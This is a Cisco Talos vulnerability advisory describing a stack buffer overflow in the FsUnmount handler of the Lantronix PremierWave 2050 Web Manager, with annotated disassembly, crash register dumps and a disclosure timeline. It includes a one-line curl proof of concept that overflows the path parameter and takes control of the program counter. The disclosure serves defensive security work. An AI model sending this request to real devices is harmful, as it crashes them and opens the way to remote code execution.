Talos Vulnerability Report


Lantronix PremierWave 2050 Web Manager FsUnmount stack-based buffer overflow vulnerability

November 15, 2021
CVE Number



A stack-based buffer overflow vulnerability exists in the Web Manager FsUnmount functionality of Lantronix PremierWave 2050 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 (in QEMU)

Product URLs


CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


CWE-121 - Stack-based Buffer Overflow


PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the FsUnmount ajax directive in the PremierWave 2050 Web Manager application, ltrx_evo. This function contains a vulnerable call to sprintf with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with no special permissions to overflow a fixed size buffer allocated on the stack and corrupt the stack frame, resulting in attacker control of the program counter and therefore remote code execution.

Below is the full disassembly of the function responsible for handling the FsUnmount functionality.

.text:000558B0                 PUSH            {R4-R8,R10,LR}
.text:000558B4                 LDR             R1, =(aDeletedir+6) ; "dir"
.text:000558B8                 SUB             SP, SP, #0x1000
.text:000558BC                 SUB             SP, SP, #0xC
.text:000558C0                 MOV             R4, R0
.text:000558C4                 BL              get_POST_param
.text:000558C8                 LDR             R1, =aPath ; "path"
.text:000558CC                 LDR             R6, =PrintPostResults
.text:000558D0                 MOV             R7, R0 ;							[1] Store "dir" POST parameter into R7
.text:000558D4                 MOV             R0, R4  ;
.text:000558D8                 BL              get_POST_param
.text:000558DC                 MOV             R5, R0 ;							[2] Store "path" POST parameter into R5
.text:000558E0                 MOV             R0, R4
.text:000558E4                 BL              init_xml_response
.text:000558E8                 MOV             R0, R4
.text:000558EC                 LDR             R1, [R6] ; "PrintPostResults"
.text:000558F0                 MOV             R2, #0
.text:000558F4                 LDR             R3, =null_byte_
.text:000558F8                 BL              stream_xml_elem
.text:000558FC                 LDR             R1, =aSS_1 ; "%s%s"
.text:00055900                 LDR             R2, =path ; "/ltrx_user"
.text:00055904                 MOV             R3, R5
.text:00055908                 ADD             R0, SP, #0x1028+s ; s
.text:0005590C                 BL              sprintf ;						[3] Vulnerable `sprintf` call
																					sprintf(s, "%s%s", "/ltrx_user", path);
.text:00055910                 MOV             R0, R5
.text:00055914                 BL              IseUSB
.text:00055918                 SUBS            R10, R0, #0
.text:0005591C                 BNE             loc_55970
.text:00055920                 ADD             R1, SP, #0x1028+s
.text:00055924                 LDR             R0, =aSbinLtrxUsbUmo ; "/sbin/ltrx_usb_umount '%s'"
.text:00055928                 BL              sprintf_malloc
.text:0005592C                 MOV             R1, R10
.text:00055930                 MOV             R2, R10
.text:00055934                 MOV             R8, R0
.text:00055938                 BL              exec_system_cmd_print
.text:0005593C                 MOV             R0, R8  ; ptr
.text:00055940                 BL              Free
.text:00055944                 MOV             R3, #1
.text:00055948                 STMEA           SP, {R3,R5}
.text:0005594C                 LDR             R3, =fs
.text:00055950                 MOV             R0, R4
.text:00055954                 LDR             R1, [R6] ; "PrintPostResults"
.text:00055958                 LDR             R2, [R3] ; "fs"
.text:0005595C                 MOV             R3, #0x3A ; ':'
.text:00055960                 BL              sub_B4AF0
.text:00055964                 MOV             R0, R4
.text:00055968                 MOV             R1, R7
.text:0005596C                 BL              sub_54D94

.text:00055970                 MOV             R0, R4
.text:00055974                 BL              insert_xml_trailer
.text:00055978                 MOV             R0, #1
.text:0005597C                 ADD             SP, SP, #0xC
.text:00055980                 ADD             SP, SP, #0x1000
.text:00055984                 POP             {R4-R8,R10,PC}

At [2] the attacker-controlled path parameter is stored into R5, and just a few instructions later, with no validation or verification of the contents of the path variable, the value is supplied directly to an sprintf call whose destination buffer was only allocated for 1032 bytes.

Crash Information

Thread 13 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 28770.28850]

────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x1       
$r1  : 0x0       
$r2  : 0x4228c4d4  →  0x00000000
$r3  : 0x2       
$r4  : 0x4d4d4d4d ("MMMM"?)
$r5  : 0x4d4d4d4d ("MMMM"?)
$r6  : 0x4d4d4d4d ("MMMM"?)
$r7  : 0x4d4d4d4d ("MMMM"?)
$r8  : 0x4d4d4d4d ("MMMM"?)
$r9  : 0x408085cd  →  0x54480000
$r10 : 0x4d4d4d4d ("MMMM"?)
$r11 : 0x6       
$r12 : 0x0       
$lr  : 0x000e3c78  →   movs r1,  r0
$pc  : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]

Exploit Proof of Concept

curl --user admin:PASS -d "ajax=FsUnmount&dir=/&path=`python -c "print('M'*9000)"`"


2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date set
2021-11-15 - Public Release


Discovered by Matt Wiseman of Cisco Talos.